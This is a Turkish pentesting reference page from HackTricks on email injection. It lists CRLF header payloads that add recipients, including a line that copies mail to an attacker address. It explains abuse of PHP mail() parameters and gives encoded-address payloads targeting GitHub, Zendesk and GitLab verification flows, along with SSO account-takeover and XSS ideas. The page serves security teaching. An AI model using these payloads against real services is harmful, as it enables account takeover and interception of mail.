hacktricks/pentesting-web/email-injections.md

237 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Email Injections
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Gönderilen e-postaya Enjekte Et
### Gönderen argümanından sonra Cc ve Bcc enjekte et
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Mesaj, alıcı ve alıcı1 hesaplarına gönderilecektir.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Mesaj, orijinal alıcıya ve saldırgan hesabına gönderilecektir.
### Konu argümanını Enjekte Et
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Sahte konu, orijinal konuya eklenecek ve bazı durumlarda onu değiştirecektir. Bu, mail hizmetinin davranışına bağlıdır.
### Mesajın gövdesini değiştir
İki satır besleme enjekte edin, ardından mesajın gövdesini değiştirmek için mesajınızı yazın.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() fonksiyonu istismarı
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### 5. parametre ($additional\_parameters)
Bu bölüm, **bir saldırganın bu parametreyi kontrol ettiğini varsayarak nasıl kötüye kullanılacağını** ele alacak.
Bu parametre, PHP'nin ikili sendmail'i çağırmak için kullanacağı komut satırına eklenecek. Ancak, `escapeshellcmd($additional_parameters)` fonksiyonu ile temizlenecek.
Bir saldırgan, bu durumda **sendmail için ek parametreler enjekte edebilir**.
#### /usr/sbin/sendmail uygulamasındaki farklılıklar
**sendmail** arayüzü, sistemde kurulu olan **MTA e-posta yazılımı** (Sendmail, Postfix, Exim vb.) tarafından **sağlanmaktadır**. **Temel işlevsellik** (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle **aynı** kalırken, **diğer işlevler ve parametreler** kurulu MTA'ya bağlı olarak büyük ölçüde değişiklik göstermektedir.
İşte sendmail komutu/arayüzünün farklı man sayfalarına birkaç örnek:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**sendmail** ikilisinin kökenine bağlı olarak, bunları kötüye kullanmak için farklı seçenekler keşfedilmiştir ve **dosyalar sızdırılabilir veya hatta rastgele komutlar çalıştırılabilir**. Bunu nasıl yapacağınızı kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## E-posta adında enjekte et
{% hint style="danger" %}
Eğer rastgele bir alan adıyla (Github, Gitlab, CloudFlare Zero trust gibi) bir hizmette hesap oluşturmayı ve doğrulama e-postasını alarak bunu doğrulamayı başarırsanız, kurban şirketin hassas alanlarına erişim sağlayabilirsiniz.
{% endhint %}
### Bir e-postanın göz ardı edilen kısımları
**+, -** ve **{}** sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından göz ardı edilebilir.
* Ör. john.doe+intigriti@example.com → john.doe@example.com
**Parantez içindeki yorumlar ()** başlangıçta veya sonunda da göz ardı edilecektir.
* Ör. john.doe(intigriti)@example.com → john.doe@example.com
### Beyaz listeyi atlama
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Alıntılar
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IP'ler
Kare parantezler arasında alan adı olarak IP'ler de kullanabilirsiniz:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### E-posta Kodlama
[**bu araştırmada**](https://portswigger.net/research/splitting-the-email-atom) açıklandığı gibi, e-posta adları da kodlanmış karakterler içerebilir:
* **PHP 256 taşması**: PHP `chr` fonksiyonu, bir karaktere 256 eklemeye devam eder, pozitif hale geldiğinde `%256` işlemini yapar.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Bu numaranın amacı, `RCPT TO:<"collab@psres.net>collab"@example.com>` gibi bir enjekte ile sonuçlanmaktır\
bu, doğrulama e-postasını beklenen e-posta adresinden farklı bir e-posta adresine gönderecektir (bu nedenle e-posta adının içine başka bir e-posta adresi eklemek ve e-postayı gönderirken sözdizimini bozmak).
{% endhint %}
Farklı kodlamalar:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Kodlanmış `@` işaretini =40, kodlanmış `>` işaretini `=3e` ve null'ı `=00` olarak not edin.&#x20;
* Doğrulama e-postası `collab@psres.net` adresine gönderilecektir.
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* Önceki hileyle aynı ama başına bazı normal alıntılar ekleyerek ve kodlanmış alıntı `=22` ekleyerek kodlanmış `@` işaretinden önce ve sonra bazı alıntılar açıp kapatarak Zendesk'in dahili olarak kullandığı sözdizimini düzeltmek.
* Doğrulama e-postası `collab@psres.net` adresine gönderilecektir.
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Adresi ayırmak için alt çizgi kullanımına dikkat edin.
* Doğrulama e-postası `collab@psres.net` adresine gönderilecektir.
* Punycode: Punycode kullanarak Joomla'da `<style` etiketi enjekte etmek ve bunu CSS dışa aktarımı yoluyla CSRF token'ını çalmak için kötüye kullanmak mümkündü.
#### Tooling
* Bu tür kombinasyonları denemek için bir **Burp Suite Turbo Intruder scripti** bulunmaktadır. Script, potansiyel olarak çalışan kombinasyonlara sahiptir.
* Ayrıca [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) kullanarak bir e-posta bölme saldırısı oluşturmak da mümkündür.
### Diğer zafiyetler
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## Üçüncü taraf SSO
### XSS
**github** veya **salesforce** gibi bazı hizmetler, üzerinde **XSS yükleri bulunan bir e-posta adresi oluşturmanıza** izin verir. Eğer bu sağlayıcıları **diğer hizmetlere giriş yapmak için kullanabiliyorsanız** ve bu hizmetler e-postayı **doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz.
### Hesap Ele Geçirme
Eğer bir **SSO hizmeti**, verilen e-posta adresini doğrulamadan **bir hesap oluşturmanıza** izin veriyorsa (örneğin **salesforce**) ve ardından bu hesabı **farklı bir hizmette** kullanabiliyorsanız, bu hizmet **salesforce'a güveniyorsa**, herhangi bir hesaba erişebilirsiniz.\
_Salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir, ancak uygulama bu bilgiyi dikkate almalıdır._
## Yanıtla
_E-posta gönderirken _**From: company.com**_ ve _**Replay-To: attacker.com**_ kullanabilirsiniz ve e-posta **içsel bir adresten** gönderildiği için herhangi bir **otomatik yanıt** gönderilirse, **saldırgan** bu **yanıtı** **alabilir**.
## Sert İade Oranı
AWS gibi belirli hizmetler, genellikle %10 olarak ayarlanan **Sert İade Oranı** olarak bilinen bir eşik uygular. Bu, özellikle e-posta teslimat hizmetleri için kritik bir metriktir. Bu oran aşıldığında, AWS'nin e-posta hizmeti gibi hizmetler askıya alınabilir veya engellenebilir.
**Sert iade**, alıcının adresinin geçersiz veya mevcut olmadığı için göndericiye geri dönen bir **e-posta** anlamına gelir. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına gönderilmesi veya alıcı sunucunun **e-postaları** kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir.
AWS bağlamında, 1000 e-posta gönderirseniz ve bunlardan 100'ü sert iadelerle sonuçlanırsa (geçersiz adresler veya alanlar gibi nedenlerden dolayı), bu %10 sert iade oranı anlamına gelir. Bu orana ulaşmak veya aşmak, AWS SES (Simple Email Service) tarafından e-posta gönderme yeteneklerinizi engelleyebilir veya askıya alabilir.
Kesintisiz e-posta hizmeti sağlamak ve gönderici itibarını korumak için düşük bir sert iade oranını sürdürmek kritik öneme sahiptir. E-posta listelerinizdeki e-posta adreslerinin kalitesini izlemek ve yönetmek, bunu başarmada önemli ölçüde yardımcı olabilir.
Daha ayrıntılı bilgi için, AWS'nin iade ve şikayetleri ele alma konusundaki resmi belgelerine [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types) başvurabilirsiniz.
## Referanslar
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek için** [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}